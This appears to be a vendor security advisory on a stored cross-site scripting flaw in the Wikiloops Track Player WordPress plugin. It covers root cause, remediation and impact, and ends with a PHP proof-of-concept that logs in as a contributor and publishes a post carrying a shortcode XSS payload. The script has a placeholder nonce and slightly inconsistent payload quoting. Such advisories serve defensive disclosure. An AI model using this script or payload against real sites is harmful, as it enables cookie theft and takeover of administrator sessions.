Atomic Edge analysis of CVE-2026-1611 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Wikiloops Track Player WordPress plugin. The vulnerability exists in the plugin’s `wikiloops` shortcode handler. Attackers with contributor-level permissions or higher can inject malicious scripts into posts or pages. These scripts execute when users view the compromised content. The CVSS score of 6.4 reflects its moderate severity, with scope change indicating the attack can impact other site components.
The root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers a shortcode handler using `add_shortcode(‘wikiloops’, …)`. This handler processes attributes passed via the shortcode but fails to properly sanitize them before output. Atomic Edge research infers the plugin uses `shortcode_atts()` without subsequent escaping functions like `esc_attr()` or `esc_html()`. This inference comes from the CWE-79 classification and the description mentioning insufficient input sanitization and output escaping. Without code access, this remains a likely scenario rather than a confirmed code path.
Exploitation requires an authenticated user with at least contributor privileges. The attacker creates or edits a post containing the malicious shortcode. The payload embeds JavaScript within shortcode attributes. A realistic payload example is `[wikiloops track_id=”1″ custom_attribute='” onmouseover=”alert(document.cookie)’]`. The attacker publishes the post. When any user views the post, the browser executes the injected script. The attack vector is the WordPress editor interface, specifically the post content submission endpoint at `/wp-admin/post.php` with the `action=editpost` parameter.
Remediation requires implementing proper output escaping on all shortcode attributes before they are printed to the browser. The plugin should use WordPress escaping functions like `esc_attr()` for attribute values and `esc_html()` for text content. Input validation should also be added using `sanitize_text_field()` or similar functions. The fix must apply to all user-controlled attributes passed to the shortcode. A comprehensive patch would review every attribute output point in the shortcode callback function.
Successful exploitation allows attackers to steal session cookies, perform actions as the victim user, deface pages, or redirect users to malicious sites. Contributor-level attackers can target administrators to gain full site control. The stored nature means a single injection affects all future visitors. The scope change (S:C in CVSS) indicates scripts can impact the entire WordPress site session, not just the plugin’s interface.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1611 - Wikiloops Track Player <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
// Step 2: Create a new post with malicious shortcode
// Assumption: Contributor users can create posts via /wp-admin/post.php
$new_post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt_array($ch, [
CURLOPT_URL => $new_post_url,
CURLOPT_REFERER => $new_post_url,
CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
// Extract nonce from the post creation form
// This is a simulated extraction - actual implementation would parse HTML
$nonce = 'extracted_nonce_here'; // Would be extracted via regex in real PoC
// Step 3: Submit the post with XSS payload
// Payload uses double quotes inside single quotes to break attribute context
$payload = '[wikiloops track_id="1" custom_attr="" onmouseover="alert(document.domain)" data="]';
$submit_url = $target_url . '/wp-admin/post.php';
curl_setopt_array($ch, [
CURLOPT_URL => $submit_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'post_title' => 'Test Post with XSS',
'content' => $payload,
'action' => 'editpost',
'post_type' => 'post',
'_wpnonce' => $nonce,
'publish' => 'Publish'
]),
CURLOPT_RETURNTRANSFER => true
]);
$response = curl_exec($ch);
// Step 4: Verify the post was created
// Check response for success or extract post ID
if (strpos($response, 'Post published') !== false) {
echo "Exploit successful. Post created with XSS payload.n";
echo "Visit the post to trigger the JavaScript execution.n";
} else {
echo "Exploit may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>
